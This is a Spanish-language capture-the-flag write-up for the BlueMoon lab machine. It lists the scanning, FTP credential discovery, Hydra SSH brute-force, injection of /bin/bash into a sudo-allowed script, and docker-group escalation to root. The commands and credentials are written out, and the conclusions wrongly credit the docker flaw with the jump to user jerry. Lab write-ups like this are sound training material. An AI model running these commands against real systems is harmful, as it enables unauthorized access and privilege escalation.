

**Informe Profesional de Actividades**

**Máquina CTF BlueMoon**

**Fecha: 3 de julio de 2023**

**Realizado Por: Msc. Angel R. Paz**

**Introducción:**

Este informe presenta un resumen detallado de las actividades llevadas a cabo en la máquina CTF BlueMoon. El objetivo principal fue completar los desafíos y obtener acceso a la máquina mediante técnicas de enumeración, fuerza bruta de contraseñas y elevación de privilegios. A continuación, se presentan los resultados obtenidos durante el proceso.

1. **Escaneo de Puertos (Nmap):**

* Puerto 21/tcp: Servicio FTP (vsftpd 3.0.3)
* Puerto 22/tcp: Servicio SSH (OpenSSH 7.9p1 Debian 10+deb10u2)
* Puerto 80/tcp: Servicio HTTP (Apache httpd 2.4.38)

***Comandos:***

* ***nmap -sS -sV <IP>***

1. **Enumeración de Directorios (Gobuster):**

* /index.html (Estado: 200) [Tamaño: 383]
* /server-status (Estado: 403) [Tamaño: 278]
* /hidden\_text (Estado: 200) [Tamaño: 1169]

***Comandos:***

* ***gobuster dir -u http://192.168.2.105/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt***

**Contenido en /hidden\_text:** "Maintanance! Sorry For Delay. We Will Recover Soon. Thank You ..." en el cual encontramos una imagen QR y al escanear conseguimos la información:

#!/bin/bash

HOST=ip

USER=userftp

PASSWORD=ftpp@ssword

ftp -inv $HOST user $USER $PASSWORD

bye

EOF

1. **Enumeración de FTP:**

Acceso con las credenciales obtenidas del archivo QR:

* USER=userftp
* PASSWORD=ftpp@ssword

**Archivos encontrados:**

* **information.txt:** "Hola Robin... ¡Ya te he hablado sobre la debilidad de tu contraseña. Te daré una lista de contraseñas. Puedes elegir cualquiera de ellas!"
* **p\_lists.txt:** Diccionario de contraseñas o lista de posibles contraseñas.

***Comandos:***

* ***ftp <IP>***

1. **Ataque de Fuerza Bruta de Contraseña (Hydra):**

**Resultado exitoso:**

Nombre de usuario: robin

Contraseña: k4rv3ndh4nh4ck3r

***Comandos:***

* ***hydra -l robin -P p\_lists.txt ssh://192.168.2.105 -I***

1. **Acceso a BlueMoon:**

**Acceso exitoso mediante SSH:**

Nombre de usuario: robin

Contraseña: k4rv3ndh4nh4ck3r

***Comandos:***

* ***ssh robin@<IP>***

1. **Elevación de Privilegios a Usuario Jerry:**

**Permisos de sudo (sudo -l):**

(jerry) NOPASSWD: /home/robin/project/feedback.sh

**Ejecución de comandos:**

***sudo -u jerry /home/robin/project/feedback.sh (nombre: /bin/bash, dirección IP: /bin/bash)***

**Tratamiento de la shell con Python**

python3 -c 'import pty; pty.spawn("/bin/bash")'

1. **Elevación de privilegios a root:**

Con el comando id podemos ver que el usuario pertenece al grupo docker

Vulnerabilidad en el grupo "docker" utilizando GTFOBins.

***Comandos:***

* ***id***
* ***./docker run -v /:/mnt --rm -it alpine chroot /mnt sh***

**Conclusiones:**

Las actividades realizadas en la máquina CTF BlueMoon permitieron obtener acceso al sistema a través de diferentes técnicas. Se logró enumerar los servicios disponibles, encontrar directorios ocultos y obtener acceso a través de FTP utilizando las credenciales obtenidas. Posteriormente, se realizó un ataque de fuerza bruta de contraseña para obtener las credenciales del usuario Robin y se logró acceder a la máquina a través del servicio SSH.

Además, se descubrió una vulnerabilidad en el grupo "docker" que permitió la elevación de privilegios al usuario Jerry y posteriormente al usuario root.

**Recomendaciones:**

* Fortalecer la seguridad del sistema mediante el uso de contraseñas robustas y la implementación de políticas de contraseña adecuadas.
* Realizar análisis de vulnerabilidades y aplicar parches de seguridad para prevenir posibles explotaciones.
* Monitorear y auditar regularmente los registros de actividad del sistema para detectar posibles intrusiones o comportamientos sospechosos.